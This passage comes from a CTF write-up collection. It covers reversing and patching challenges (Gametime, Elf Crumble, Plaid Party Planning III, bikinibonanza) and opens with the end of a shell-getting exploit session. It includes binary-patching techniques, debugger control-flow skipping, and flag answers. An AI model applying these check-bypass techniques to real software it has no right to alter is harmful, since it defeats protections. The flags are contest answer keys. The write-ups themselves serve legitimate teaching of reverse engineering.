[*] running in new terminal: /usr/bin/gdb -q  "./speedrun-006" 9419 -x
"/tmp/pwnE1hBZ0.gdb"
[+] Waiting for debugger: Done
w
[*] Switching to interactive mode
How good are you around the corners?
Send me your ride
$ w
$ w
 02:12:55 up  1:35,  1 user,  load average: 0.56, 0.60, 0.63
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               00:40   ?xdm?   9:17   0.00s /usr/lib
/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-
session --session=ubuntu
$ ls
core  exploit.py  readme.md  scan.asm  shellcode.asm  speedrun-006
$
[*] Interrupted
[*] Stopped process './speedrun-006' (pid 9419)
```

Just like that, we got a shell. Although how I handles I/O lead to a bit of a weird exploitation process (I needed to use `raw_input()` as a pause).

Patching

Csaw 2016 Quals Gametime

Let's take a look at the binary:

```
$    file gametime.exe
gametime.exe: PE32 executable (console) Intel 80386, for MS Windows
```

So we are just given a 32 bit Windows executable . When we run the game in windows, we see that it prompts us to press certain keys when it displays certain letters (like press `m` when it displays `m`). Now it is actually possible to play the game and get the flag without hacking it, however we won't do that.

So we can see that is a 32 bit Windows Executable. When we look at in Ghidra at the binary we see two strings that can be of interest to us:

```
                              s__UDDER_FAILURE!_http://imgur.com_00417a80
 XREF[1]:     FUN_00401435:004014f2(*)
        00417a80 0d 55 44        ds         "\rUDDER FAILURE! http://imgur.com
/4Ajx21P \n"
                 44 45 52
                 20 46 41
        00417aab 00              ??         00h
                              s__00417aac
 XREF[1]:     FUN_00401507:00401526(*)
        00417aac 0d 20 20        ds         "\r
\r"
                 20 20 20
                 20 20 20
                              s_UDDER_FAILURE!_http://imgur.com/_00417ad0
 XREF[1]:     FUN_00401507:00401575(*)
        00417ad0 55 44 44        ds         "UDDER FAILURE! http://imgur.com
/4Ajx21P \n"
                 45 52 20
                 46 41 49
```

For now it should be safe to assume that this is a failure message, displayed when you loose the game. When we check the references to the to see where the first string is reference, we see that it is called after a test instruction like this (and the second string is referenced in a similar fashion):

```
                              LAB_004014ca
 XREF[1]:     004014ad(j)
        004014ca ba a0 86        MOV        param_2,0x186a0
                 01 00
        004014cf 8b ce           MOV        param_1,ESI
        004014d1 e8 8a fd        CALL       FUN_00401260
 int FUN_00401260(int param_1, in
                 ff ff
        004014d6 5f              POP        EDI
        004014d7 5e              POP        ESI
        004014d8 5b              POP        EBX
        004014d9 84 c0           TEST       AL,AL
        004014db 75 26           JNZ        LAB_00401503
```

We see in both instances that if the output of the `test` instruction is not 0, we can continue playing the game. So we should be able to edit the assembly code to change the `jnz` to `jz`, that way if we don't do anything, the output of the `test` instruction should be 0 and we should be able to continue playing the game. We can see that the two functions which these two strings are called are at `0x401435` and `0x401507` (at the very beginning of the viewing the assembly code in proximity view we can see the function it is a part of).

We can edit it using Binary Ninja (or you can edit it using a different hex editor, although Binary Ninja is a lot more than a hex editor). There is a free version that we can use for personal use, and it is a great tool for patching binaries. To edit it in Binary Ninja, just open the executable in it, go to each of the two functions (at `0x401507` and `0x401435`), right click on the line we want to edit, go to Patch->Edit Current Line and then just change `jne` to `je`. Lastly just save it. After that you should just be able to run the exe in windows, not give it any input, and eventually it will print the flag (which isn't in the standard format, and may take a little bit):

```
key is <no5c30416d6cf52638460377995c6a8cf5>
```

Just like that, we get the flag which is `no5c30416d6cf52638460377995c6a8cf5`.

Elf Crumble

The challenge prompt is something about having an elf that prints the flag, however it was dropped and the pieces fell out. However the pieces of compiled code were not changed. We were given a `tgz` file. Let's see what we have when we decompress it:

```
$    ls pieces
broken          fragment_2.dat  fragment_4.dat  fragment_6.dat  fragment_8.dat
fragment_1.dat  fragment_3.dat  fragment_5.dat  fragment_7.dat
$    file pieces/broken
pieces/broken: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV),
dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0,
BuildID[sha1]=4cd47d8a237a3139d1884b3ef52f6ed387c75772, not stripped
$    file pieces/fragment_1.dat
pieces/fragment_1.dat: data
$    cat pieces/fragment_1.dat
[]�U���������E��#�U������E��
                              �U��Љƫ�E��}�~ℵ��U��S��
```

So in there we have an x86 binary and 8 files which just contain data. Let's see what happens when we run the binary:

```
$    pieces/broken
Segmentation fault (core dumped)
```

So when we run it, we get a segfault. When we take a look at the binary in Ghidra, we see that there are five functions `main`, `recover_flag`, `f1`, `f2`, and `f3`. Let's take a look at the main function in gdb:

```
gdb-peda$ disas main
Dump of assembler code for function main:
   0x000007dc <+0>:    pop    eax
   0x000007dd <+1>:    pop    eax
   0x000007de <+2>:    pop    eax
   0x000007df <+3>:    pop    eax
   0x000007e0 <+4>:    pop    eax
```

So we can see that the main function is just the `pop eax` instruction repeated over and over again. We also see that this is the same way with the functions `recover_flag`, `f1`. `f2`, and `f3`. When we look at it in a hex editor we can see that the opcode for `pop eax` (which is `0x58`) has been overwritten to the five functions. We can see that the X's (`0x58` is hex for `X`) start at `0x5ad` and end at `0x8d3` for a total of 807 bytes. Let's see the size of all of the different fragments.

```
$    wc -c < fragment_1.dat
79
$    wc -c < fragment_2.dat
48
$    wc -c < fragment_3.dat
175
$    wc -c < fragment_4.dat
42
$    wc -c < fragment_5.dat
128
$    wc -c < fragment_6.dat
22
$    wc -c < fragment_7.dat
283
$    wc -c < fragment_8.dat
30
```

When we add up all of the different segments, we get 807 bytes the same amount as the written over opcodes. Now at this point we look back to the original challenge prompt about the elf being shattered into different pieces, however those pieces are still the same. At this point we can put two and two together and guess that the eight fragments make up the five different functions, we have to figure out what functions go where, and then patch over the binary.

Functions

Before we figure out where the fragments are, it would be helpful to figure out where the functions start and end. The five functions we are worried about are `f1`, `f2`, `f3`, `recover_flag`, and `main`. For this we can use gdb (or you could use binja):

To find the start of a function in gdb:

```
gef➤  p f1
$1 = {<text variable, no debug info>} 0x5ad <f1>
gef➤  p f2
$2 = {<text variable, no debug info>} 0x6e9 <f2>
gef➤  p f3
$3 = {<text variable, no debug info>} 0x72e <f3>
gef➤  p recover_flag
$4 = {<text variable, no debug info>} 0x7a2 <recover_flag>
gef➤  p main
$5 = {<text variable, no debug info>} 0x7dc <main>
```

Proceeding that we can find the following information:

```
f1 : starts 0x5ad
f2 : starts : starts 0x6e9
f3 : starts : starts 0x72e
recover_flag : starts 0x7a2
main : starts 0x7dc : ends 0x8d3
```

Also for this next part, you will probably need to use a hex editor like Bless or Binary Ninja.

Fragment 8

All x86 sub functions will start with the same three opcodes `0x55 0x89 0xe5`. These are the opcodes for `push ebp`, `mov ebp, esp`, and `sub esp, x` where x is some integer. With this we can identify the start of sub functions within the fragments. When we look at this fragment, we see that it starts with those three opcodes. As such we know that the start of this fragment must be the start of a sub function. Looking across all of the other fragments we don't see this anywhere else. We know that the start of the X's (which is the start of the f1 function) has to start with that, so we know that this fragment goes at the start of the X's.

Fragment 2

This fragment has an interesting three opcode combination in it. Those opcodes are `0x8d 0x4c 0x24`. Those are the opcodes for `lea ecx, [esp+0x4 {argc}]`, `and esp, 0xfffffff0 {__return_addr}`, and `push dword [ecx-0x4]`. This is a part of how the assembly code loads in arguments and sets up the stack. From that we know that the three opcode combination mush occur at the start of main, so we can position this fragment just write so that the main function starts off with those three.

Fragment 4

For this fragment we don't see the three opcode combination to designate the start of a subroutine function. However we do see that it ends with the opcode `0xc3` which is the opcode for the assembly instruction `retn`. We would expect to see this at the end of a function function. We also see that it is the only fragment to end with that opcode. Thing is we need this fragment at the end, since we need to end the main function with that instruction. Since this is the only fragment that has what we need there, this is the only fragment that can go there.

Fragment 3

Between fragments 2 and 4, we have a nice 175 byte block of data. Luckily this fragment is the only fragment that fits in. In addition to that we don't see the opcodes to start a new function or return, so we should be good.

Fragments 1, 5 - 7

For the next two segments, we can see that the next function start it 286 bytes away from our first fragment, fragment 8 ((0x6e9 - 0x5ad) - 30). We can reach that by first placing fragment 7 (which doesn't stop/start any functions) immediately followed by fragment 1 which starts a function on it's fourth byte. Together this fits and will properly start the `f2` function. In addition to that it will also start the `f3` function located 69 bytes after the start if `f2`.

Lastly we have the two pieces 5 and 6. For this it's just a matter of putting the two together in an order that will start the last function we need to start, `recover_flag`. If we place the fragment 5 first, that will properly start this function. After that we can just stick in the last fragment 6 into the remaining hole and we have successfully reassembled the binary.

Wrap Up

The order of the fragments is `8 7 1 5 6 2 3 4`. Once you have reassembled the fragments you can just patch over the binary with a hex editor like binja or bless (or whatever hex editor you want to use). Proceeding that you just have to run the program to get the flag:

```
$    ./rev
welc0OOme
```

Just like that, we captured the flag!

Plaid Party Planning III

Full warning, I solved this using the unintended / cheesy solution. With that let's take a look at the binary:

```
$    file pppiii-b73804b431586f8ecd4a0e8c0daf3ba6
pppiii-b73804b431586f8ecd4a0e8c0daf3ba6: ELF 64-bit LSB shared object, x86-64,
version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0,
BuildID[sha1]=8190b786e8260d7cb6e6d183a1f9f182a96f86d6, stripped
$    ./pppiii-b73804b431586f8ecd4a0e8c0daf3ba6
Alphabetical it is, I guess.
Simulating the dinner...

cai: Thank you guys all for helping out. Great job on another Plaid CTF well
done!
strikeskids: I got someone to figure out our seating arrangement for us.
Hopefully you're
    seated near to dishes you like.
zwad3: Guys, can you please be careful to not get any gluten in the food?
zwad3: *grabs the basmati rice*
strikeskids: *grabs the samosas*
awesie: *grabs the garlic naan*
susie: *grabs the basmati rice*
tylerni7: *grabs the matar methi malai*
jarsp: *grabs the plain naan*
ubuntor: I've saved some of my best ones for tonight!
ubuntor: *grabs the kashmiri naan*
cai: *grabs the samosas*
waituck: *grabs the samosas*
erye: *grabs the mango lassi*
ricky: This looks delicious!
ricky: *grabs the samosa chaat*
strikeskids: *grabs the mango lassi*
zwad3: *grabs the dal makhani*
waituck: *puts the samosas back*
zaratec: *grabs the samosas*
jarsp: *puts the plain naan back*
ricky: *grabs the chaas*
panda: *grabs the plain naan*
strikeskids: *puts the mango lassi back*
zwad3: *grabs the mango lassi*
ricky: *puts the samosa chaat back*
jarsp: *grabs the pakoras*
zwad3: *puts the basmati rice back*
strikeskids: *puts the samosas back*
awesie: *grabs the basmati rice*
jarsp: *puts the pakoras back*
Aborted (core dumped)
```

So we are dealing with a 64 bit binary, that crashes when we run it.

Reversing

Looking through the list of functions (or checking references to functions and strings) we find this function which appears to start the parts of this binary that we are interesting in:

```c
undefined8 FUN_00105948(int arg_count,long param_2)

{
  char cVar1;
  int intCpy;
  int first_arg;
  int i;
  int j;
  int k;
  int current_placement;

  setup(&x,&y);
  first_arg = 1;
  if (arg_count == 1) {
    puts("Alphabetical it is, I guess.");
    i = 0;
    while (i < 0xf) {
      *(int *)(&placement + (long)i * 0x20) = i;
      i = i + 1;
    }
  }
  else {
    if (arg_count != 0x11) {
                    /* WARNING: Subroutine does not return */
      abort();
    }
    first_arg = atoi(*(char **)(param_2 + 8));
    j = 0;
    while (j < 0xf) {
      intCpy = atoi(*(char **)(param_2 + ((long)j + 2) * 8));
      *(int *)(&placement + (long)j * 0x20) = intCpy + -1;
      current_placement = *(int *)(&placement + (long)j * 0x20);
      if ((current_placement < 0) || (0xe < current_placement)) {
                    /* WARNING: Subroutine does not return */
        abort();
      }
      k = 0;
      while (k < j) {
        if (current_placement == *(int *)(&placement + (long)k * 0x20)) {
                    /* WARNING: Subroutine does not return */
          abort();
        }
        k = k + 1;
      }
      j = j + 1;
    }
  }
  if (first_arg == 1) {
    puts("Simulating the dinner...\n");
    simulatingDinner(&x,&y);
  }
  else {
```

```
    puts("Checking the dinner...\n");
    if (first_arg != 2) {
                    /* WARNING: Subroutine does not return */
      abort();
    }
    cVar1 = checkingDinner(&x,&y);
    if (cVar1 != '\x01') {
      printf("Your dinner arrangement was unacceptable. We might never finish
:(");
      return 1;
    }
  }
  return 0;
}
```

Looking at this, we can see that it takes in input via arguments. Depending on the arguments it will either fill the bss section `placement` (at offset `0x2086b0`) with certain values, or exit with `abort`. If we input no arguments, then it will fill in `placament` with values `0-14` in ascending order. If we input `16` arguments (excluding the file name) it will take the first argument and save it in the `first_arg` variable. The last `15` arguments are then saved in the `placement` array (assuming that the arguments are between `0-14` and not repeated, if so the program aborts). Also if we don't either give the program `15` or no arguments (excluding file name) the program aborts.

Also with the setup function, we see that it sets `x` to be a pointer to various strings and function addresses, and sets `y` to be equal to a pointer to various strings and integers. Essentially we are giving the places for people to sit, ranging from `0-14`.

Then it decides to either simulate or check the dinner. This is based upon the value `first_arg` (initialized to `1`). If it is `1` then it simulates it, `2` for checking. If it is a value other than those two then the program aborts. At the moment the `simulatingDinner` function is of more interest to use because we can see that the flag is printed in that function:

```
  customPrint(&local_c8,"It\'s a flag!");
  FUN_00101113(&local_c8,5);
  __ptr = (void *)genFlag(lParm1);
  customPrint(lParm1 + 0x100,"Let me take a look. It seems to
say\n\tPCTF{%s}.",__ptr,lParm1 + 0x100
             );
  free(__ptr);
  customPrint(lParm1 + 0x100,"Hopefully that\'s useful to someone.");
```

However before that happens, we see that this code runs around `0x1829`:

```
  while (i < 0xf) {
    abortCheck0 = pthread_create(th + (long)i,(pthread_attr_t
*)0x0,FUN_001014f8,
                                  (void *)((long)i * 0x20 + lParm1));
    if (abortCheck0 != 0) {
                    /* WARNING: Subroutine does not return */
      abort();
    }
    i = i + 1;
  }
  j = 0;
  while (j < 0xf) {
    abortCheck1 = pthread_join(th[(long)j],(void **)0x0);
    if (abortCheck1 != 0) {
                    /* WARNING: Subroutine does not return */
      abort();
    }
    j = j + 1;
  }
```

What that block does is it takes the functions stored in `x`, and executes them in different threads. In one of those functions somewhere, the program is aborting. After a bit of reversing we find this section of code at `0x3288` in the function at `0x314e`:

```
  pcVar4 = strstr(*(char **)(lVar3 + 8),"paneer");
  if (pcVar4 != (char *)0x0) {
                    /* WARNING: Subroutine does not return */
    abort();
```

Depending on the order of spots we give, a different string gets compared here. To get past this, I just changed around the spots a bit until I got past that check. Then I ran into another problem where due to the `pthread_join(th[(long)j],(void **)0x0)` calls, the code hangs to the point where we won't get the flag:

```
$    ./pppiii-b73804b431586f8ecd4a0e8c0daf3ba6 1 12 13 14 15 1 2 3 4 5 6 7 8 9
10 11
Simulating the dinner...

cai: Thank you guys all for helping out. Great job on another Plaid CTF well
done!
strikeskids: I got someone to figure out our seating arrangement for us.
Hopefully you're
    seated near to dishes you like.
strikeskids: *grabs the pakoras*
zwad3: Guys, can you please be careful to not get any gluten in the food?
zwad3: *grabs the basmati rice*
zwad3: *grabs the matar methi malai*
tylerni7: *grabs the palak paneer*
erye: *grabs the mango lassi*
awesie: *grabs the kashmiri naan*
cai: *grabs the samosas*
ricky: This looks delicious!
f0xtrot: *grabs the roti*
jarsp: *grabs the garlic naan*
susie: *grabs the basmati rice*
ubuntor: I've saved some of my best ones for tonight!
ubuntor: *grabs the plain naan*
waituck: *grabs the samosas*
strikeskids: *grabs the chaas*
zwad3: *grabs the mango lassi*
waituck: *puts the samosas back*
jarsp: *puts the garlic naan back*
zaratec: *grabs the samosas*
strikeskids: *puts the chaas back*
panda: *grabs the garlic naan*
jarsp: *grabs the samosas*
zwad3: *puts the basmati rice back*
strikeskids: *puts the pakoras back*
awesie: *grabs the basmati rice*
ricky: *grabs the pakoras*
zwad3: *puts the mango lassi back*
ricky: *grabs the mango lassi*
zaratec: *grabs the mango lassi*
awesie: *puts the kashmiri naan back*
jarsp: *puts the samosas back*
ricky: *puts the pakoras back*
zwad3: *puts the matar methi malai back*
strikeskids: *grabs the pakoras*
zaratec: *puts the samosas back*
waituck: *grabs the samosas*
jarsp: *grabs the dal makhani*
erye: *grabs the matar methi malai*
erye: *puts the mango lassi back*
strikeskids: *puts the pakoras back*
ricky: Do I see any cheese in there? Actually, I think I'm good.
zwad3: Hey! Aren't we missing someone?
```

```
jarsp: *grabs the mango lassi*
```

However we don't need to figure out how to get past that wall to get the flag. Turns out there is an unintentional solution where we can just jump past this section, and it will print the flag. For this I would set a breakpoint for the `pthread_join` call, then jump to right past the for loop with the `pthread_join` call at `0x18e7`:

First set breakpoints and run it:

```
gef➤  pie b *0x18be
gef➤  pie b *0x18e7
gef➤  pie run 1 12 13 14 15 1 2 3 4 5 6 7 8 9 10 11
Stopped due to shared library event (no libraries added or removed)
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Simulating the dinner...

.    .    .
```

Then we once we get to the `pthread_join` call, we can just jump past it. We will need to add it's offset to the pie base `0x0000555555554000` since pie is enabled:

```
gef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x000055555555c000 0x0000000000000000 r-x /Hackery/plaid19
/planning/pppiii-b73804b431586f8ecd4a0e8c0daf3ba6
0x000055555575b000 0x000055555575c000 0x0000000000007000 r-- /Hackery/plaid19
/planning/pppiii-b73804b431586f8ecd4a0e8c0daf3ba6
0x000055555575c000 0x000055555575d000 0x0000000000008000 rw- /Hackery/plaid19
/planning/pppiii-b73804b431586f8ecd4a0e8c0daf3ba6
0x000055555575d000 0x000055555577e000 0x0000000000000000 rw- [heap]
0x00007fffeffb6000 0x00007fffeffb7000 0x0000000000000000 ---
0x00007fffeffb7000 0x00007ffff07b7000 0x0000000000000000 rw-
0x00007ffff07b7000 0x00007ffff07b8000 0x0000000000000000 ---
0x00007ffff07b8000 0x00007ffff0fb8000 0x0000000000000000 rw-
0x00007ffff0fb8000 0x00007ffff0fb9000 0x0000000000000000 ---
0x00007ffff0fb9000 0x00007ffff17b9000 0x0000000000000000 rw-
0x00007ffff17b9000 0x00007ffff17ba000 0x0000000000000000 ---
0x00007ffff17ba000 0x00007ffff1fba000 0x0000000000000000 rw-
0x00007ffff1fba000 0x00007ffff1fbb000 0x0000000000000000 ---
0x00007ffff1fbb000 0x00007ffff27bb000 0x0000000000000000 rw-
0x00007ffff27bb000 0x00007ffff27bc000 0x0000000000000000 ---
0x00007ffff27bc000 0x00007ffff2fbc000 0x0000000000000000 rw-
0x00007ffff2fbc000 0x00007ffff2fbd000 0x0000000000000000 ---
0x00007ffff2fbd000 0x00007ffff37bd000 0x0000000000000000 rw-
0x00007ffff37bd000 0x00007ffff37be000 0x0000000000000000 ---
0x00007ffff37be000 0x00007ffff3fbe000 0x0000000000000000 rw-
0x00007ffff3fbe000 0x00007ffff3fbf000 0x0000000000000000 ---
0x00007ffff3fbf000 0x00007ffff47bf000 0x0000000000000000 rw-
0x00007ffff47bf000 0x00007ffff47c0000 0x0000000000000000 ---
0x00007ffff47c0000 0x00007ffff4fc0000 0x0000000000000000 rw-
0x00007ffff4fc0000 0x00007ffff4fc1000 0x0000000000000000 ---
0x00007ffff4fc1000 0x00007ffff57c1000 0x0000000000000000 rw-
0x00007ffff57c1000 0x00007ffff57c2000 0x0000000000000000 ---
0x00007ffff57c2000 0x00007ffff5fc2000 0x0000000000000000 rw-
0x00007ffff5fc2000 0x00007ffff5fc3000 0x0000000000000000 ---
0x00007ffff5fc3000 0x00007ffff67c3000 0x0000000000000000 rw-
0x00007ffff67c3000 0x00007ffff67c4000 0x0000000000000000 ---
0x00007ffff67c4000 0x00007ffff6fc4000 0x0000000000000000 rw-
0x00007ffff6fc4000 0x00007ffff6fc5000 0x0000000000000000 ---
0x00007ffff6fc5000 0x00007ffff77c5000 0x0000000000000000 rw-
0x00007ffff77c5000 0x00007ffff79ac000 0x0000000000000000 r-x /lib/x86_64-linux-
gnu/libc-2.27.so
0x00007ffff79ac000 0x00007ffff7bac000 0x00000000001e7000 --- /lib/x86_64-linux-
gnu/libc-2.27.so
0x00007ffff7bac000 0x00007ffff7bb0000 0x00000000001e7000 r-- /lib/x86_64-linux-
gnu/libc-2.27.so
0x00007ffff7bb0000 0x00007ffff7bb2000 0x00000000001eb000 rw- /lib/x86_64-linux-
gnu/libc-2.27.so
0x00007ffff7bb2000 0x00007ffff7bb6000 0x0000000000000000 rw-
0x00007ffff7bb6000 0x00007ffff7bd0000 0x0000000000000000 r-x /lib/x86_64-linux-
gnu/libpthread-2.27.so
0x00007ffff7bd0000 0x00007ffff7dcf000 0x000000000001a000 --- /lib/x86_64-linux-
gnu/libpthread-2.27.so
```

```
0x00007ffff7dcf000 0x00007ffff7dd0000 0x0000000000019000 r-- /lib/x86_64-linux-
gnu/libpthread-2.27.so
0x00007ffff7dd0000 0x00007ffff7dd1000 0x000000000001a000 rw- /lib/x86_64-linux-
gnu/libpthread-2.27.so
0x00007ffff7dd1000 0x00007ffff7dd5000 0x0000000000000000 rw-
0x00007ffff7dd5000 0x00007ffff7dfc000 0x0000000000000000 r-x /lib/x86_64-linux-
gnu/ld-2.27.so
0x00007ffff7fd8000 0x00007ffff7fdd000 0x0000000000000000 rw-
0x00007ffff7ff7000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000027000 r-- /lib/x86_64-linux-
gnu/ld-2.27.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x0000000000028000 rw- /lib/x86_64-linux-
gnu/ld-2.27.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  j *0x5555555558e7
Continuing at 0x5555555558e7.
f0xtrot: *grabs the roti*
erye: *grabs the mango lassi*
cai: *grabs the samosas*
awesie: *grabs the kashmiri naan*
jarsp: *grabs the garlic naan*
ricky: This looks delicious!
ricky: *grabs the pakoras*
ubuntor: I've saved some of my best ones for tonight!
ubuntor: *grabs the plain naan*
strikeskids: I got someone to figure out our seating arrangement for us.
Hopefully you're
    seated near to dishes you like.
waituck: *grabs the samosas*
susie: *grabs the basmati rice*
tylerni7: *grabs the palak paneer*
zwad3: Guys, can you please be careful to not get any gluten in the food?
zwad3: *grabs the basmati rice*
```

Then when we hit the final breakpoint, we can just continue and we will get the flag:

```
Thread 1 "pppiii-b73804b4" hit Breakpoint 2, 0x00005555555558e7 in ?? ()
gef➤  c
Continuing.
erye: *grabs the matar methi malai*
jarsp: *puts the garlic naan back*
panda: *grabs the garlic naan*
ricky: *grabs the mango lassi*
waituck: *puts the samosas back*
zaratec: *grabs the samosas*
ricky: *puts the pakoras back*
jarsp: *grabs the samosas*
zaratec: *grabs the mango lassi*
erye: *puts the mango lassi back*
strikeskids: *grabs the pakoras*
strikeskids: *grabs the chaas*
ricky: Do I see any cheese in there? Actually, I think I'm good.
ricky: *grabs the dal makhani*
zaratec: *puts the samosas back*
erye: *grabs the mango lassi*
waituck: *grabs the samosas*
jarsp: *puts the samosas back*
erye: *puts the mango lassi back*
strikeskids: *puts the chaas back*
ricky: *puts the dal makhani back*
jarsp: *grabs the dal makhani*
strikeskids: *puts the pakoras back*
ricky: *puts the mango lassi back*
jarsp: *grabs the mango lassi*
bluepichu: Sorry we're late. There wasn't enough meat here, so I decided to go
    make some spaghetti with alfredo sauce, mushrooms, and chicken at home.
strikeskids: *grabs the pakoras*
mserrano: I decided to tag along because, as you know, cheese is very desirable.
strikeskids: *puts the pakoras back*
bluepichu: And I bought a ton of extra parmesan!
mserrano: Anyway, we brought you guys a gift.
bluepichu: It's a flag!
strikeskids: Let me take a look. It seems to say
    PCTF{1 l1v3 1n th3 1nt3rs3ct1on of CSP and s3cur1ty and parti3s!}.
strikeskids: Hopefully that's useful to someone.
[Thread 0x7ffff07b6700 (LWP 13635) exited]
[Thread 0x7ffff0fb7700 (LWP 13634) exited]
[Thread 0x7ffff17b8700 (LWP 13633) exited]
[Thread 0x7ffff1fb9700 (LWP 13632) exited]
[Thread 0x7ffff27ba700 (LWP 13631) exited]
[Thread 0x7ffff2fbb700 (LWP 13630) exited]
[Thread 0x7ffff47be700 (LWP 13627) exited]
[Thread 0x7ffff37bc700 (LWP 13629) exited]
[Thread 0x7ffff4fbf700 (LWP 13626) exited]
[Thread 0x7ffff57c0700 (LWP 13625) exited]
[Thread 0x7ffff5fc1700 (LWP 13624) exited]
[Thread 0x7ffff67c2700 (LWP 13623) exited]
[Thread 0x7ffff6fc3700 (LWP 13622) exited]
```

```
[Thread 0x7ffff77c4700 (LWP 13621) exited]
[Thread 0x7ffff7fd8740 (LWP 13617) exited]
[Inferior 1 (process 13617) exited normally]
```

Just like that we got the flag `PCTF{1 l1v3 1n th3 1nt3rs3ct1on of CSP and s3cur1ty and parti3s!}` !

.NET

Csaw 2013 bikinibonanza

Let's take a look at the binary

```
$    file bikinibonanza.exe
bikinibonanza.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS
Windows
```

So we can see it is another .NET challenge. When we run it, we see that it is just a gui with a single form that prompts us for input (you may need to install a few Microsoft packages to get it to work). Looking at it with the JetBrains decompiler, we can see what is going on with the form:

```
    private void eval_ჯ(object _param1, EventArgs _param2)
    {
      string strB = (string) null;
      Assembly executingAssembly = Assembly.GetExecutingAssembly();
      ResourceManager resourceManager = new
ResourceManager(executingAssembly.GetName().Name + ".Resources",
executingAssembly);
      DateTime now = DateTime.Now;
      string text = this.eval_ჯ.Text;
      this.eval_ჯ("NeEd_MoRe_Bawlz", Convert.ToInt32(string.Format("{0}",
(object) (now.Hour + 1))), ref strB);
      if (string.Compare(text.ToUpper(), strB) == 0)
      {
        this.eval_3.Text = "";
        Form1 form1 = this;
        int num1 = 107;
        int num2 = (int) form1.eval_ჯ(num1);
        form1.eval_ჯ((char) num2);
        this.eval_ᨏ();
        this.eval_3.Text = string.Format(this.eval_3.Text, (object)
this.eval_ჯ(resourceManager));
        this.eval_ᢵ.Image = (Image) resourceManager.GetObject("Sorry You
Suck");
      }
      else
      {
        this.eval_ᢵ.Image = (Image) resourceManager.GetObject("Almost There");
        this.eval_ჯ();
      }
    }
```

So we can see here that it is establishing a string with the value `NeEd_MoRe_Bawlz`, taking the current hour from the system time, and a string `strB` which will store the output, and passing them as arguments to the `this.eval_ჯ` function. In addition to that it takes our input (which is stored in the textbox from the form) and storing it in the string variable `text`. Later on we see that it compares the `text` variable against the output of the `this.eval_ჯ` function stored in the `strB` variable. We can see that if they aren't even then it runs a function which prints error messages that we get when we submit random text, so we probably need to have the strings be even in order to solve the challenge (also the object `Sorry You Suck` is a victory picture). Let's take a look at the function which outputs to `strB`:

```
private void eval_₺(string _param1, int _param2, ref string _param3)
{
  int index = 0;
  if (0 < param0.Length)
  {
    do
    {
      char ch = param0[index];
      int num = 1;
      if (1 < param1)
      {
        do
        {
          ch = Convert.ToChar(this.eval_₺(Convert.ToInt32(ch), num));
          ++num;
        }
        while (num < param1);
      }
      param2 += (string) (object) ch;
      ++index;
    }
    while (index < param0.Length);
  }
  param2 = this.eval_₺(param2);
}
```

So we can see here that the three parameters it gets are param0 (the `NeEd_MoRe_Bawlz` string), param1 (the current hour), and param2 (the output string). I know that it appears to import param 1-3, however if we look at the other functions it appears that for importing parameters the count starts at 1, however when it uses it the count starts at 0 so there is a difference of 1.

Looking at what it actually does, we see that it essentially will loop through the function for each character in `NeEd_MoRe_Bawlz` , then writes the output of it, ran through a seperate function. to param2. Looking at what happens each iteration of the first while loop, it appears that another while loop will run another while loop that runs for as many times equal to the current hour. In that loop it will take the current character, and the iteration continues, and feed into another function, then write the output to the current character. After that while loop, it will add it to the output string. Then it finished by passing the value of the output string to another function, then taking its output and writing it to the output string. Let's take a look at the first function:

```
private int eval_ᢀ(int _param1, int _param2)
{
  return new int[30]
  {
    2,
    3,
    5,
    7,
    11,
    13,
    17,
    19,
    23,
    29,
    31,
    37,
    41,
    43,
    47,
    53,
    59,
    61,
    67,
    71,
    73,
    79,
    83,
    89,
    97,
    101,
    103,
    107,
    109,
    113
  }[param1] ^ param0;
}
```

So we can see that it establishes an integer array, then xors the current_character with whatever object has an index that is equivalent to the iteration count of the while loop that is in. Let's take a look at the other function:

```
private string eval_ᢀ(string _param1)
{
  return BitConverter.ToString(new
MD5CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(param0))).Replace('
"");
}
```

We can see that this just essentially creates an MD5 hash of the input. So to figure out the string that is needed to, we can just recreate the xor function and then just take the MD5 hash of the output. To deal with the hour, we can just run it 24 times so we will have a hash for every possible value. Here is the python code for it:

```
# Import hashlib
import hashlib

# Esablish the integer array which will be used for xpromg
x0 = [ 2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67,
71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113]

#Define the function which will tun the first loop
def enc(inp):
    #Establish the length of the input, and the for loop to run 24 times
    len_inp = len(inp)
    for i in range(1, 25):
        #Pass the input to the xor function, and print the output
        out = ""
        c = inp
        out = xor(c, i)
        print out


def xor(inp, c):
    # Establish the output string, and the first for loop which will run for the
length of the input
    output = ""
    for i in xrange(len(inp)):
        current_character = inp[i]
        # Run the second for loop, which will run as many times equal to the
current hour, and xor the input against the int array
        for j in range(1, c):
            current_character = chr(x0[j] ^ ord(current_character))
        # Add the output of the previous for loop to the output string
        output += current_character
    #Hash and return the output
    hash = hashlib.md5()
    hash.update(output)
    output = hash.hexdigest()
    return output

# Establish the string "NeEd_MoRe_Bawlz" and run the enc function
enc_input = "NeEd_MoRe_Bawlz"
enc(enc_input)
```

When we run it:

```
$    python solve.py
cfdf804ce0c601f97c3dc7c2026e44fd
d96090e563ea15b7c440684727b0fecf
8fd9b04487552379d6c48cef0d63cc82
f9a66fa6113821d352bebfaa6a7f1977
88a4c0cfa9e937d3d16a5d51f3ecd8b3
c2a0150a72390a2263964f07b88a13b1
ca88f85fdba05e5cb6307b93a1dc727f
5de1575b8e12b0d2eabb773bbfa10701
784c334c79a378fd62b0e156247c97b6
